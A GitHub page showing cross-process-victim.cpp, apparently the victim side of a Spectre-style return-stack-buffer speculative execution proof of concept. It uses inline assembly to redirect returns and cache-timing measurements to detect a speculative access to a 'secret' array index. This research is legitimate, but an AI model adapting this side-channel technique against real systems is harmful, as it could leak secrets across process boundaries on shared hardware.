-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcross-process-victim.cpp
74 lines (63 loc) · 1.47 KB
/
cross-process-victim.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include "util.hpp"
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sched.h>
#define secret 5
#define nonsecret 37
#define offset 256
#define iterations 10000
#define retAsm(i) "call get_rip" #i ";" "get_rip" #i ":" "pop %0;" "add $13,%0;" "push %0;" "clflush (%%rsp);" "cpuid;" "ret;"
using namespace std;
char array[256*256];
int total = 0, total2 = 0;
int lbl = 0;
volatile void spacer() {
asm(
".rept 2195;"
"nop;"
".endr;"
);
}
void exploit() { // this should be at the same VA as attacker:gadget()
volatile char temp = array[secret*offset];
}
void measureSpeculation() {
ADDR_PTR tmp;
for (int i = 0; i<iterations;i++) {
sched_yield();
asm(
retAsm(1)
retAsm(2)
retAsm(3)
retAsm(4)
retAsm(5)
retAsm(6)
retAsm(7)
retAsm(8)
retAsm(9)
retAsm(10)
retAsm(11)
retAsm(12)
retAsm(13)
retAsm(14)
retAsm(15)
retAsm(16)
: "=r" (tmp)
:
);
total += measure_one_block_access_time((ADDR_PTR)&array[secret*offset]);
total2 += measure_one_block_access_time((ADDR_PTR)&array[nonsecret*offset]);
clflush((void *)&array[secret*offset]);
clflush((void *)&array[nonsecret*offset]);
}
}
int main(){
clflush(&array[secret*offset]);
clflush(&array[nonsecret*offset]);
measureSpeculation();
printf("If secret is being speculatively accessed, it will have a lower access time.\n");
printf("Avg time for secret: %i\n", total/iterations);
printf("Avg time for non-secret: %i\n", total2/iterations);
return 0;
}